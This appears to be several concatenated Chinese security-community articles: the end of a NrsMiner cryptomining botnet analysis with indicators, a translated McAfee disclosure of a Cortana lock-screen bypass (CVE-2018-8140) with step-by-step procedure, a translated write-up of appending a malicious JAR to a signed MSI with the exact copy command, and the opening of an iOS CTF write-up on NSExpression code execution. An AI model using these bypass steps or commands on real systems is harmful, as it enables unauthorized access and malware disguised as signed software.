WebServer主要提供下载NrsDataCache.tlb的功能。局域网中的其他计算机可以通过HTTP协议访问WebServer进而下载NrsDataCache.tlb，而WebServer将处理来自其他计算机的HTTP请求。当NrsDataCache.tlb不存在时，WebServer将返回404状态码。通过将僵尸机转化成为WebServer能够方便局域网中不同计算机之间的文件传输与更新，下文提到的更新模块就通过该方式进行僵尸网络组件的更新。图6展示了WebServer处理HTTP请求的代码片段。
图6 WebServer处理HTTP请求的代码片段
主控模块以启动器的身份指挥其他模块进行工作，可以称之为“僵尸网络的主心骨”。一个稳定、灵活的主控模块是僵尸网络稳固自身并持续扩张的根本，而NrsMiner的主控程序就通过实时打点、新旧文件替换、模块状态反馈保证僵尸网络的稳定性，通过嵌入WebServer提高僵尸网路的灵活性。
### 攻击模块
攻击模块由两部分组成，一部分是发起攻击的spoolsv.exe，另一部分是执行攻击的“永恒之蓝”payload
x86.dll和x64.dll。spoolsv.exe进行攻击的流程如图7所示。
图7 spoolsv.exe进行攻击的流程
攻击执行前spoolsv.exe还会进行一次打点，打点内容包括本机ip地址，计算机名以及GPU型号。打点过后，spoolsv.exe从NrsDataCache.tlb提取“永恒之蓝”攻击组件crypt，该组件同样是个压缩包，解压后是一套完备的“永恒之蓝”漏洞攻击武器。图8展示了crypt解压后的内容。
图8 crypt解压后的内容
其中，x86.dll和x64.dll就是“永恒之蓝”漏洞攻击payload的两个版本。spoolsv.exe并不关注目标计算机中是否存在漏洞，而是直接启动攻击程序svchost.exe对局域网中的其他计算机和与本机连接的其他计算机进行攻击。攻击成功后将在目标计算机执行相应payload。
为了尽量减小payload的体积，NrsMiner并没有直接将功能的执行交给payload，而是将payload绑定计算机的57220端口并监听该端口。图9展示了相应的代码片段。
图9 payload绑定端口并监听该端口的代码片段
而spoolsv.exe会向目标计算机57220端口发送NrsDataCache.tlb，目标计算机接收到NrsDataCache.tlb之后对其进行解压，提取其中名为srv的文件，也就是主控模块文件vmichapagentsrv.dll安装服务，至此整个攻击完成。图10展示了spoolsv.exe向目标计算机57220端口发送文件的代码片段。
图10 spoolsv.exe向目标计算机发送文件的代码片段
在进行攻击时，攻击模块会结束掉任务管理器进程以减少自身被发现的可能。图11展示了攻击模块结束任务管理器进程的相关代码片段。
图11 攻击模块结束任务管理器进程的相关代码片段
攻击模块还会从log.oiwcvbnc2e.stream下载名为TaskhostServices.exe的文件并运行该文件。不过log.oiwcvbnc2e.stream已无法访问，攻击模块无法成功下载该文件。
### 更新模块
更新模块负责NrsMiner组件的更新。NrsMiner从多个不同的地址下载不同的文件，而更新模块的重要组件taskhostex.exe就是主控模块dlr.noilwut0vv.club/d/msdownload/others/BtnProtocol.exe下载的。
taskhostex.exe是个加载器，用于加载更新模块其他组件，在加载的同时会根据情况进行BypassUAC操作。taskhostex.exe会通过是否能够成功地在system32目录下释放tcpiplocationviews.dll文件判断UAC级别是否为最低。当UAC级别不为最低时，往system32目录下写入文件会触发弹窗，在不存在用户交互时无法成功。计算机的UAC级别会和网络状态以及GPU型号一起传回打点服务器。
若UAC级别不为最低，则taskhostex.exe会借助spoolsv.exe启动更新组件TrustServicesHost32/64.exe。由于spoolsv.exe进程源头来自于“永恒之蓝”payload，进程权限为system，借此可以BypassUAC。图12展示了taskhostex.exe
byPassUAC的代码片段。可以发现，taskhostex.exe将做45次BypassUAC尝试。
图12 taskhostex.exe byPassUAC的代码片段
taskhostex.exe启动更新模块组件TrustServicesHost32/64.exe（32位和64位版本文件名不同，以下称TrustServicesHost）。TrustServicesHost通过LocalDown或vps两种下载方式中的其中一种下载更新包NrsDataCache.tlb。两者中优先选择LocalDown。
LocalDown指的是通过局域网中已经受感染的计算机所搭建的WebServer下载更新包。TrustServicesHost.exe通过访问WebServer的26397端口下载更新包NrsDataCache.tlb。图13展示了LocalDown的代码实现。
图13 LocalDown的部分代码
vps指的是通过作者部署的远程服务器下载更新包，下载链接为http://vpp.jdi1diejs.club/NrsDataCache.tlb。图14展示了vps的代码实现。
图14 vps的代码实现
下载更新包之后TrustServicesHost.exe会用更新包中的文件替换掉计算机中存在的旧文件，并重新启动主控模块的服务。图15展示了NrsDataCache.tlb解压后的内容。
图15 NrsDataCache.tlb解压后的内容
值得一提的是，TrustServicesHost.exe中硬编码了一些通过异或加密过的字符串，异或key为0x33。TrustServicesHost.exe运行过程中会解密这些字符串并对其编码后存储在注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServicesPixels中。图16展示了解密后未编码的字符串内容，这些字符串可能做为备用矿池地址在挖矿模块中将和其他字符串拼接构成挖矿机命令行。图17展示了写入注册表项的字符串内容。
图16 解密后未编码的字符串内容
图17 写入注册表项的字符串内容
### 挖矿模块
****
挖矿是NrsDataCache僵尸网络的最终目的，NrsDataCache所挖的币种为门罗币。NrsDataCache的挖矿功能由TaskSyncHost.exe完成，该文件由NrsDataCache.tlb解压提取得到，原文件名为hash或hash64。
不同于其他挖矿僵尸网络使用例如minexmr，supportxmr等知名矿池，NrsDataCache使用自建的矿池，首选矿池地址为mg.jdi1diejs.club:45560.该地址以字符串的形式硬编码在主控模块中，并与其他字符串拼接成挖矿机命令行。图18展示了挖矿机命令行的内容。
图18 挖矿机命令行
从上文可以得知，更新模块通过注册表项存储了一些包含矿池地址的字符串，这些可能是挖矿机的备用矿池地址和登陆账户名，不过这些矿池和帐户名并未启用。根据存储的字符串我们整理出挖矿模块使用或待使用的矿池地址和帐户组合，如表3所示。
表3 挖矿模块使用或待使用的矿池地址和帐户组合
**矿池地址** | **帐户**
---|---
**mg.jdi1diejs.club:45560** | **[email protected]**
**mg.jdi1diejs.club:45560** | **[email protected]**
**p2.jdi1diejs.club:45560** | **[email protected]**
**p3.jdi1diejs.club:45560** | **[email protected]**
**P4.jdi1diejs.club:45560** | **[email protected]**
**p5.jdi1diejs.club:45560** | **[email protected]**
**p6.jdi1diejs.club:45560** | **[email protected]**
**p7.jdi1diejs.club:45560** | **[email protected]**
**p8.jdi1diejs.club:45560** | **[email protected]**
表3
除了TaskSyncHost.exe之外，NrsDataCache.tlb中还有另一个名为gpu的挖矿机，该挖矿机使用GPU进行挖矿。不过在捕捉到的样本中并未发现与该挖矿机相关的行为。
## 0x3 NrsMiner发展过程
NrsMiner变种的最早出现可追溯到2017年5月，与“WannaCry”爆发时间相近。也就是在“永恒之蓝”漏洞攻击武器出现一个月之后，NrsMiner就开始利用其进行攻击。最初的NrsMiner变种并不具备挖矿功能，而是通过泄露的“永恒之蓝”漏洞攻击工具与后门DoublePulsar将目标计算机变成“肉鸡”。图19展示了2017年5月-2017年6月NrsMiner变种控制的计算机趋势。
图19 2017年5月-6月NrsMiner变种控制的计算机趋势
从2017年7月起，NrsMiner开始在受害计算机中植入挖矿机，被NrsMiner控制的计算机也越来越多。图20展示了自2017年7月起被NrsMiner植入挖矿机的受害计算机数量变化趋势。
图20 2017年7月起被NrsMiner植入挖矿机的受害计算机数量变化趋势
早期的NrsMiner变种只包含攻击模块和挖矿模块两部分。攻击模块使用“永恒之蓝”漏洞攻击武器入侵目标计算机后，目标计算机通过访问攻击方攻击模块中嵌入的WebServer下载挖矿机和攻击模块组件。由于结构较为简单，并缺乏与杀毒软件有效的对抗，早期的NrsMiner变种在受控计算机上的存活时间并不长。图21展示了早期的NrsMiner变种攻击流程。
图21 早期的NrsMiner变种攻击流程
由于早期NrsMiner规模增长缓慢，其作者在2017年11月开始对NrsMiner进行更新，通过不断修改NrsMiner组件所在的位置对抗杀软。表4展示了曾被用于存放NrsMiner组件的路径。
表4 曾用于存放NrsMiner组件的路径
**路径**
---
**C:\Windows\IME**
**C:\windows\SysprepThemes**
**C:\windows\Sysnative**
**c:\windows\securebootthemes**
表4
NrsMiner的规模在2017年11月缓慢增长，在2017年12月底，其作者再次进行一次更新，在NrsMiner中添加了主控模块。这次更新使NrsMiner在结构上更加健壮，成为了严格意义上的僵尸网络。得益于这次更新，NrsMiner僵尸网络的规模在2017年12月底到2018年1月这段时间内剧增，控制的僵尸机数量增长了400台。此外，NrsMiner的挖矿机在此次更新后抛弃了公共矿池minergate转而使用私人搭建的矿池。
不过这次更新仍然存在一些问题，例如无法对僵尸网络组件进行实时更新。于是NrsMiner作者在2018年1月31日再次进行更新，添加了更新模块，NrsMiner开始可以从远程服务器下载更新包。而这次更新之后的NrsMiner正是本文所分析的变种。
## 0x4 总结
此类僵尸网络生命力强大，能够长期潜伏在受害计算机中，并主动攻击网络内其他机器。建议广大网民及时升级软件，打好补丁，定期检查系统安全状况。此外，360安全卫士已经推出了反挖矿功能，全面防御从各种渠道入侵的挖矿木马。用户开启了该功能后，360安全卫士将会实时拦截各类挖矿木马的攻击，为用户计算机安全保驾护航。
图22
## 0x5 IOC
**531aec8627cd8e55f59c302991838417**
**011d6ce51b7806dca26c300e8d26f9bb**
**a55a69992f8e40686d3e350a9514a847**
**3e5a34e4f520bad2c25fc3ebe3ac4a2b**
**aee376f0c693fae922cd33415d2f9dd9**
**7d75c0b4cd956233518c81a7aacfaeeb**
**d7b65143cf713011fdc7f6ea417f0340**
**9bc26cf32e5f27ead23a16867e049e85**
**log.oiwcvbnc2e.stream**
**dlr.noilwut0vv.club**
**vpp.jdi1diejs.club** | 社区文章 |
# 如何利用微软语音助理Cortana绕过Win10锁屏（CVE-2018-8140）
##### 译文声明
本文是翻译文章，文章来源：https://securingtomorrow.mcafee.com/
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/want-to-break-into-a-locked-windows-10-device-ask-cortana-cve-2018-8140>
译文仅供参考，具体内容表达以及含义原文为准。
昨天，微软发布了2018年6月的安全公告，但截至目前可能还有很多Windows
10用户没有打上这些补丁。需要注意的是，如果你还没打补丁，那么就不要轻易离开你的电脑。在此次安全公告中，包含一个Windows
10中“Cortana语音助理”默认设置错误导致的代码执行漏洞。本文将针对该漏洞展开分析，并介绍如何利用该漏洞在Windows
10系统中绕过锁定屏幕执行代码。此漏洞由McAfee实验室高级威胁研究团队发现，我们严格遵循负责任的漏洞披露政策（
<https://www.mcafee.com/enterprise/en-hk/threat-center/advanced-threat-research/disclosure.html>
），在4月23日将该漏洞的详细情况提交给Microsoft，微软于6月12日发布的安全公告中包含了这一漏洞的修复方案。该漏洞的发现者是Cedric
Cochin，McAfee网络安全架构师和高级主管工程师。
在本文中，我们将详细分析该漏洞的原理，并在最后演示一个完整的通过代码执行登录到锁定的Windows设备的过程。
## 利用“你好小娜”语音命令检索敏感信息
Siri、Alexa、Google
Assistant和Cortana（中文版本的名称为“小娜”）这些数字时代的虚拟助理已经成为许多用户生活中不可缺少的一部分。他们可以讲笑话，可以列出购物清单，可以开启厨房灯光，甚至可以自定义他们的声音。可以看出，这些虚拟助理在我们的日常生活中正在扮演者越来越重要的角色。但是，对于攻击者来说，他们在考虑针对笔记本电脑、平板电脑和智能手机的新型攻击媒介时，显然也会考虑这些私人助理。在我们团队阅读了业界研究人员发表的“BadUSB”攻击报告（
<https://www.csoonline.com/article/3087484/security/say-hello-to-badusb-20-usb-man-in-the-middle-attack-proof-of-concept.html>
）之后，我们开始对Cortana语音助理进行研究，最终发现了一些安全问题，并向Microsoft报告。
如果你曾经和Cortana对话过，那么可能已经注意到“她”能非常完美地执行一些简单的任务，例如查找某个单词的含义、查找某个公司的相关信息、搜索某部电影、某个演员或者某位运动员。甚至，她还可以完成数学运算。在最新版本的Windows
10系统中，我们注意到默认是在锁定屏幕中启用“Hey
Cortana（你好，小娜）”语音命令功能的，这一功能允许任何人在锁屏时与虚拟助理进行交互，导致了一些有趣现象的发生，最终导致了任意代码执行漏洞。
我们首先要分析一下Windows索引。如果大家曾经打开过Windows索引控制面板中的高级视图，就会看到“文件类型”选项卡，其中有一长串文件扩展名。针对其中的每一个扩展名，我们都能查看到索引过程中所使用的关联过滤器的详细信息。其中包括文件属性过滤器和其他一些过滤器，我们可以将其概括为“文件属性和文件内容过滤器”。
这也就意味着，索引进程会打开文件并对其内容进行查找，包括文档中的特定字符串。我们首先要了解这一点，然后再继续研究。
借助已有的这些信息，我们想要在锁定的设备上尝试，是否能出现与未锁定设备相同的Cortana搜索结果。
尝试的结果让我们感到惊讶，这也是此次漏洞的核心所在。在锁定的设备上，我们只要向Cortana说出关键词，就会出现一个Windows的相关文件列表，如下图所示。
在解锁的计算机上，向Cortana搜索框中键入“pas”的结果：
在锁定的计算机上，喊出“Hey Cortana，P——A——S”的结果：
在前面的例子中，我们询问Cortana的词语是“pas”，只是单纯说出了三个英文字母。那我们为什么不说“pass”呢？原因在于，Cortana对于说出来的词语非常挑剔，在她的字典中没有与“pass”相对应的操作，因此会要求用户解锁设备然后使用Edge搜索该词语。另一种方式，我们也可以不用说出上述内容，而是点击“Tap
and Say”（点击并说出）按钮，然后输入此文本。
现在，我们能获得一个关键词相关文件的列表，可以显示在锁定的Windows 10设备上。
由于Cortana提供的所有结果都来自于索引文件和应用程序，并且针对某些应用程序，其文件的内容也被收入到索引之中。因此，我们现在可以将鼠标悬停在任何相关的匹配结果上。如果是根据文件名匹配的，那么此时可以看到文件的完整路径；如果是根据文件内容匹配的，那么可能会看到文件中的内容。
在这里需要注意的是，整个用户文件夹也被收入索引，其中包含大多数文档的默认位置，OneDrive等映射也包括在内。
使用Cortana语音命令检索敏感信息：
在掌握了这些原理之后，攻击者就能够发挥自己的想象力，从锁定设备中收集到特定的机密关键字。
## 在Windows屏幕锁定情况下执行代码
接下来，我们产生了这样一个疑问：是否可以进一步以授权用户的身份来执行特定代码？请大家记住，我们这个时候只能使用语音命令，并配合鼠标、触控板、触摸屏等设备来访问Cortana给出的搜索结果列表。我们观察到，只需将鼠标悬停在文件上，就会显示出文件的完整路径或内容。那么如果我们点击文件会发生什么呢？这其实取决于文件的类型，如果文件是应用程序或可执行文件，那么该文件将运行，并且只有用户正确登录后才可以访问。如果文件是文档、脚本或文本文件，那么该文件将会被相应的编辑器打开，而不能被执行。基于此，我们可以执行各种预加载的Windows实用程序（例如计算器），但是我们不能将任何参数传递到命令行。我们可以打开包括PowerShell在内的脚本，但不会被执行，这些脚本将在文本编辑器（记事本）中打开。我们现在遇到的困境就是缺少参数，攻击者只能利用本机现有的内容来实现恶意目的。然而，即使有上述限制，攻击者仍然可以执行大量的恶意活动。举例来说，许多卸载程序都可以直接卸载软件，而不需要任何参数。
让我们回归到一开始的目标：在锁定屏幕执行代码。要想让某个内容在搜索结果列表中显示，唯一要求就是让该文件包含在索引范围中。
对于未经身份验证的攻击者来说，有多种方式可以得到想要的索引结果。其中一种方法是依赖于OneDrive。由于OneDrive目录结构的根目录位于用户文件夹内，因此默认情况下会对OneDrive的所有内容进行索引。如果用户曾经共享过一个具有“编辑”权限的文件夹，那么共享的人员以及任何其他通过转发的链接访问的用户都可以将一个文件放入被索引的目录下。通过索引的文件，我们能实现多种类型的攻击。
## 方案1：投放可执行文件
此方法假定攻击者可以将可执行文件写入磁盘，但不需要执行。通过网络钓鱼攻击或者其他漏洞，攻击者可以投放一个后门（例如Cobalt Strike
Beacon或Meterpreter），并开始后续的恶意活动。如果需要以管理员身份执行Payload，攻击者可以右键点击（或触摸屏上长按）该文件，并选择“以管理员身份运行”。
当攻击者试图运行一个没有自动提升权限的应用程序时，将会触发用户账户控制（UAC）提示，并且系统将不会执行任何操作。然而，由于用户很少会耐心阅读提示的内容，通常会习惯性点击警告对话框中的同意按钮，因此这同样可能导致有效的攻击。其具体方式是，攻击者首先执行该程序，然后合法等待用户登录并点击警告对话框中按钮后实现恶意代码的执行。如果该应用程序能够自动提升权限，则不会再出现UAC的警告，会直接执行该应用程序。
这是一个非常有趣的行为，但可能不会作为一个攻击者常用的攻击场景，所以让我们继续研究其他的方案。此时，我们考虑到既然能够对设备进行物理接触，为什么不使用USB
Key来投放Payload呢？USB Key的内容没有加入到索引之中，因此不会作为搜索查询的结果呈现出来。（后文中还有其他USB设备的利用方案，请继续阅读）
## 方案2：投放一个非PE的Payload
尽管可移植可执行（PE）后门很棒，但我们在考虑，是否还可以通过非PE的Payload（例如PowerShell脚本）来实现代码执行？我们可以使用相同的右键功能来辅助完成，只需要稍作调整即可。即使是针对特定的文件类型，它们的右键菜单也不总是相同的。
当我们向Cortana询问“PS1”时，可以看到索引中出现PowerShell脚本。通过右键点击，我们能够“打开文件所在位置”或“复制完整路径”，但不能执行该脚本。
正如前文所描述过的，如果我们单击该文件，该文件将以编辑模式打开。奇怪的是，系统并不会选择PowerShell脚本的默认编辑器（PowerShell
ISE），而会在记事本中打开脚本。我们理解为这是一种安全措施，与PowerShell ISE不同，记事本不能执行脚本，更具有安全性。
我们上文中提到，Cortana会根据用户的输入查询来修改结果。当用户登录后，如果以逐个单词的方式询问Cortana“txt”，将会显示出文本文档、记事本和最近由记事本打开的文档。然而，针对“最近使用的文件”类别和“文档”类别中的文件，其右键单击后出现的菜单是不一样的。
“最近”类别中文件的右键菜单：
“文档”类别中文件的右键菜单：
基于此，我们的步骤如下：
1、将一个PowerShell脚本放在会被索引的位置，例如公用文件夹、公用共享或OneDrive。
2、执行搜索操作，并点击搜索到的脚本：
(1) 说出“Hey Cortana, PS1”；
(2) 选择刚刚放置的PowerShell脚本，并且左键单击；
(3) PowerShell脚本会在记事本中打开。
3、执行最近使用的文本文档的搜索操作，右键单击，然后启动：
(1) 使用Cortana，搜索关键词“txt”；
(2) 在“最近使用的文件”选项卡中，找到该PowerShell脚本，并右键点击；
(3) 选择“使用PowerShell运行”。
现在，我们使用该Payload来实现本地代码执行。在最新版本的Windows 10系统上，即使已经锁定，该代码也能成功执行。
我们刚刚进行的分析过程，有助于我们理解Windows在锁定和解锁的系统中，针对应用程序、文档等不同扩展，具有不同的处理方式。然而，由于其中包含用户交互过程，因此这种方案可能不符合真实世界中的攻击场景。我们的尝试还没有结束。
## 无用户交互登录到锁定设备
目前，我们已经可以进行本地代码执行，但这一过程还有一些限制。首先，我们需要让Payload加入到索引中，同时，我们无法传递命令行参数。这可能是在PowerShell进行攻击过程中的一个限制因素，因为相应的执行策略可能会阻止它的执行，并且在没有命令行参数的前提下，我们无法进行“-ExecutionPolicy
Bypass”（或其他类似风格的攻击）。现在，我们必须找到一种方法在用户的主机上放置PS1脚本，并且可以远程访问物理主机或进行登录。
回顾刚刚的尝试，我们使用键盘输入，在锁定屏幕上触发了搜索关键词菜单。任何按键都能在Cortana收听用户语音指令的过程中触发这一菜单。在此时，我们可以按空格键，其原因在于我们此时无法使用退格键，并且Windows会自动忽略掉文本结果中的空格。如果我们在Cortana收听前按键，或在早于调用键盘输入的时候按键，系统都会提示我们输入密码。如果按键的时间太晚，Cortana可能又会进入到休眠模式（不侦听语音指令），或者返回不含关键词菜单的正常结果。
除了语音指令外，使用键盘的方式可能不是太直观，但如果触发了Cortana的侦听，就可以按照在解锁后Windows中的方式来输入搜索内容。
下面的截图中展示了如下步骤：
1、通过“Tap and Say”或“Hey Cortana”触发Cortana的侦听；
2、问一个问题，例如：“现在几点”；
3、按下空格键，出现关键词菜单；
4、按下ESC键，菜单消失；
5、再次按下空格键，出现关键词菜单，但此时没有关键词，所以查询结果是空的；
6、开始输入，注意在输入过程中不能使用退格键Backspace；
7、在输入命令后，单击“命令”类别中的条目（只有当输入被识别成命令后，才会显示这一类别）；
8、我们可以点击右键，选择“以管理员身份运行”（但需要注意，必须在用户登录后才能关闭UAC防护机制）。
我们可以使用下面示例中的简单PowerShell命令来进行尝试，该试验在锁定的Windows上执行。
至此，我们就可以进行任何想要的操作了。我们的demo中展示了如何借助此技术在Windows 10操作系统上实现密码重置及登录。
## 防范方式
在受漏洞影响且未修复的主机上，最简单的缓解方法是关闭“锁定屏幕上启用Cortana”功能。通过本周微软官方发布的CVE-2018-8140补丁，可以实现该漏洞的修复。
至此，我们对Cortana的研究告一段落。然而，声控命令和个人虚拟助理这方面的安全性还需要更持续地研究，我们只是恰好抓住了其中的一个漏洞。 | 社区文章 |
# 将MSI伪装成JAR绕过数字签名验证（CVE-2020–1464）
|
##### 译文声明
本文是翻译文章，文章原作者 nightwatchcybersecurity，文章来源：nightwatchcybersecurity.com
原文地址：<https://wwws.nightwatchcybersecurity.com/2019/01/16/thoughts-on-the-msi-jar-authenticode-bypass/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Google的VirusTotal发表了一篇[博客文章](https://blog.virustotal.com/2019/01/distribution-of-malicious-jar-appended.html "博客文章")，介绍了一种通过JAR文件绕过Windows代码签名的新方法：
将任何内容附加到由任何软件开发人员签名的Windows Installer（.MSI）文件的末尾之后，Microsoft Windows任然认为Authenticode签名有效。攻击者可以利用此行为来绕过某些依赖Microsoft Windows代码签名来确定文件是否受信任的安全解决方案。当附加的代码是恶意的JAR时，这会非常危险，因为生成的文件具有有效的签名，并且该恶意软件可以由Java直接运行。
简而言之，攻击者可以将恶意JAR附加到由受信任的软件开发者（例如Microsoft Corporation，Google Inc.或任何其他知名开发者）签名的MSI文件中，然后可以将文件重命名为jar文件，这样它的签名依旧是生效的。 例如，通过命令“copy /b signed.msi + malicious.jar signed_malicious.jar”，之后双击该文件即可感染受害者。
## ZIP和EXE文件如何合并？
首先，Windows和Java都可以执行相同的文件吗？窍门在于Windows可执行文件的工作方式-如[Microsoft文档](https://docs.microsoft.com/en-us/windows/win32/debug/pe-format "Microsoft文档")中所述。操作系统从头开始读取文件，先查看“
MZ”头，然后是文件内容。我们将假设文件中存在一个表，该表告诉读者每个段的长度，因此可以将任意数据附加到文件的末尾而不会导致程序崩溃。
但是，JAR文件本质上是一个[ZIP文件](https://docs.oracle.com/javase/9/docs/specs/jar/jar.html
"ZIP文件")。
ZIP文件的索引或中央目录位于文件的末尾，并且可以在文件的开头添加数据，还能保证该文件仍然有效。这意味着您可以组合从头开始读取的Windows可执行文件，并依靠其标头和表来告诉读者在哪里停止，并对文件末尾添加ZIP内容，这样将其合并在一起时数据任然有效。同样，虽然VirusTotal提供的示例是一个JAR文件，但同样的技巧也适用于其他基于ZIP的格式，例如Microsoft
Office（DOCX / XSLX / etc），OpenOffice（ODT / ODS /
etc）等。当然，这些假设是基于这些软件读取的是ZIP的中央目录，并且不检查magic number。
这是[Wikipedia](https://upload.wikimedia.org/wikipedia/commons/e/ea/RevEngPEFile.JPG
"Wikipedia")的PE文件的修改示例，以及[OASIS](http://docs.oasis-open.org/office/v1.2/OpenDocument-v1.2-part3.html
"OASIS")的ZIP文件示例，显示了读取文件内容的方向：
## 什么是Microsoft代码签名和Authenticode？
[Authenticode](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/install/authenticode
"Authenticode")是代码签名技术，Microsoft将其用于Windows可执行文件，驱动程序和其他文件。目的是确保文件源自受信任的发布者。
Windows中还包含一个称为“ [SignTool](https://docs.microsoft.com/en-us/windows/win32/seccrypto/signtool "SignTool")”的命令行工具，该工具用于签名和验证文件。
此处的[Microsoft技术文档](http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/authenticode_pe.docx
"Microsoft技术文档")中描述了代码签名的工作方式。它实质上是使用PCKS7和特殊X.509证书（由CA颁发的代码签名证书）的数字签名。它与SSL证书连接到相同的PKI基础结构，并且在颁发证书时（不是在签名时）由CA进行了一些附加检查。像所有其他数字签名一样，它本质上是由证书持有者的私钥签名的某种哈希，然后由X.509证书中的公钥进行验证。就像SSL一样，证书本身也已通过公共PKI基础结构进行了验证。
示例如下（来自Microsoft文档）：
## 绕过代码签名
在标准的数字签名方案（例如PGP或S / MIME）中，使用SHA之类的函数对消息的整个内容进行哈希处理以生成消息摘要。
然后使用发件人的私钥对该哈希进行数字签名。 请注意，整个消息都是经过哈希计算的，这使接收方可以检查消息是否被修改。
要保证安全性，要注意的事情是“别自己实现加密算法”，在这种情况下，这包括选择要散列的内容。 对于Authenticate，似乎文件哈希不能覆盖整个文件。
如[本文档所述](https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#process-for-generating-the-authenticode-pe-image-hash
"本文档所述")，文件末尾（图片“remaining content”之后）的信息不包括在哈希中：
最后一节末尾的信息（由最高偏移量定义）不会被散列。该区域通常包含调试信息。调试信息通常可以认为是调试器的建议。它不会影响可执行程序的实际完整性。在交付产品之后，删除调试信息是完全有可能的，并且不会影响程序的功能。实际上，有时这是节省磁盘的措施。值得注意的是，要保证Authenticode签名有效，则不能删除PE映像指定节中包含的调试信息。
## 总结
这意味着简单地将另一个文件（如JAR）附加到另一个经过数字签名的文件的末尾，然后将其重命名为JAR并使结果文件在Windows中看起来是有效的，因为数字签名检查不会读取到JAR文件处，将其作为校验的一部分。同时，该文件将可由Java执行，因为它将从末尾开始读取，而忽略开头出现的任何已签名内容。同样适用于其他基于ZIP的格式，例如Microsoft
Word，这可能使攻击者在伪装合法文件的同时发送恶意文件。此外，从博客文章中可以看出，某些视音频和安全产品使用Authenticode签名作为验证文件的快捷方式，因此无需扫描文件。
此技术的另一种可能用途是误导分析人员，让其而没有意识到是一个恶意软件。
另一个想法是使用此技巧，通过将多余的数据放在文件末尾来从内网向外传输数据。这假设DLP和类似的监视出站流量的工具也依赖于Authenticode签名。
并非只有Microsoft的代码签名方法。 Java，Adobe
AIR，Android，MacOS，Debian等也存在类似的方法。还需要进一步研究，以查看其他代码签名方案中是否存在类似的问题。
## 其他信息
这篇文章是19年的文章，但最近又被爆出来，微软给这个漏洞分配为CVE-2020–1464。 | 社区文章 |
**作者： 0xcc
原文链接：<https://mp.weixin.qq.com/s/6dwi96sQ222KVsgbt4FW5A> **
2019 年的 RealWorldCTF 有一道叫“德州计算器”的题目。选手需要输入特定的 URL scheme 唤起题目的计算器
app，想方设法触发远程代码执行，获取 App 安装目录下的一个文件。
iOS 因为其封闭性，选手调试、主办方运维都很困难，所以此前很少出现在 ctf 竞赛中。DEFCON CTF 27 决赛有一个
TelOoOgram，是运行在 iOS 虚拟机 Corellium 上的，应该是史上第一次在 attack & defense 环节出现
iOS。而这一次我们直接在一台 Xr 物理机上运维，搭载了当时最新的 iOS 12.4.1 系统，来真的！
当时外国微博网友的评论：
> That must be an expensive challenge ??
“好贵的题目”
> I think they're just trying to get their participants to find new Jailbreaks
> so they can sell them to Apple
“我感觉主办方在空手套 0day，好卖给苹果”
哈哈哈……是这样吗？
先来看看题目。
计算器程序是 swift 编写的。比赛给了 x64 模拟器版和 arm64（这是一个小错误，后面文章会解释）的真机版二进制文件。可执行文件没有去除符号，除了
swift 语言生成的 mangled 符号很冗长，阅读起来没有太大问题。
核心代码只有寥寥数行。程序注册了一个 icalc:// 的 URL，启动后读入 URL 的 host 字段，解码后作为数学表达式执行，并打印结果：
public func evaluate(input: String) -> String {
let mathExpression = NSExpression(format: input)
if let value = mathExpression.expressionValue(with:constants, context: nil) {
return "= " + String(describing: value)
} else {
return "(invalid expression)"
}
}
看来玄机就在 NSExpression 里。
虽然手机是搭载了当时最新的 A12 芯片真机，这个题目并不需要真的绕过 PAC，也不用担心 iOS 的代码签名策略，同样可以执行任意代码。
因为 Objective-C 里有一个鲜为人知的类似 eval 的功能。
一提到 eval
函数，一些有经验的程序员，特别是有安全背景的，一般都会皱起眉头。这个函数多出现在脚本语言解释器当中，允许将输入的字符串变量当作代码动态执行。
由于 eval 直接执行代码的能力，对输入处理不当的情况下会造成严重的远程代码执行问题；加之 eval
本身接受动态字符串的设计，使得编译期的优化成本被放在运行时，对程序效率有很大影响；最后 eval
执行的代码上下文有可能调用栈不完整，对调试也不够友好。很多人眼中 eval == evil，都尽量避免使用。
笔者是眼花了？Objective-C 作为一门编译型语言，生成的二进制都是本地代码，怎么能提供 eval
的能力？除非借助脚本引擎并暴露原生接口，例如一些基于 JavaScriptCore 的 hybrid app
或者热补丁框架。这些显然都属于第三方代码，不是语言或者 Runtime 自带的功能。
然而 Objective-C 的 Foundation 框架里还真的自带了一个具有原生代码执行能力的解释器。它们甚至在官方文档上有清晰的说明，就是
NSPredicate 和 NSExpression 两个类。它们接受特定语法的表达式，内置了数学运算甚至局部变量的支持，还能调用任意
Objective-C 方法，相当于在语言当中嵌入了另一个脚本语言。
NSPredicate（谓词）对许多 iOS 开发者来说不会陌生。最常见的场景就是用来过滤数组和正则表达式匹配，也可以配合 CoreData 查询数据库。
通常使用 +[NSPredicate predicateWithFormat:] 创建一个实例。此外还有两个方法可以实现参数绑定：
* \+ predicateWithFormat:argumentArray:
* \+ predicateWithFormat:arguments:
例如如下代码将在数组 names2 当中找到所有在 names1 当中出现过的元素：
NSArray *names1 = [NSArray arrayWithObjects:@"Herbie", @"Badger", @"Judge", @"Elvis",nil];
NSArray *names2 = [NSArray arrayWithObjects:@"Judge", @"Paper Car", @"Badger", @"Finto",nil];
NSPredicate *predicate = [NSPredicate predicateWithFormat:@"SELF IN %@", names1];
NSArray *results = [names2 filteredArrayUsingPredicate:predicate];
NSLog(@"%@", results);
关于 predicate 的语法，可以访问 Apple 的官方开发者文档：
<https://developer.apple.com/documentation/foundation/nspredicate?language=objc>
NSExpression 稍微小众一些，但和 NSPredicate 关系密切。每一个 NSPredicate 对象都由至少两个 NSExpression
操作数（左值、右值）组成。
用来初始化谓词的语法和 NSExpression 的语法是同一套。如果阅读 Foundation.framework
的反汇编，就会发现，哪怕是官方的代码，在初始化 NSExpression 的时候都是先创建一个 NSPredicate，然后取其中一个操作数节点返回。
它们都支持复合运算的数学表达式，因此可以直接用来当计算器使用：
let mathExpression =
let mathExpression = NSExpression(format: "4 + 5 - 2**3")
let mathValue = mathExpression.expressionValueWithObject(
nil, context: nil) as? Int
// 1NSExpression(format: "4 + 5 - 2**3")let mathValue = mathExpression.expressionValueWithObject( nil, context: nil) as? Int// 1
而在这个例子里，表达式会转化成 NSFunctionExpression 对象，其具有如下属性：
* operand：NSPredicateUtilities 类
* selector: +[_NSPredicateUtilities from:substract:] 方法
* arguments：参数数组，包含嵌套的 NSExpression 表达式对象
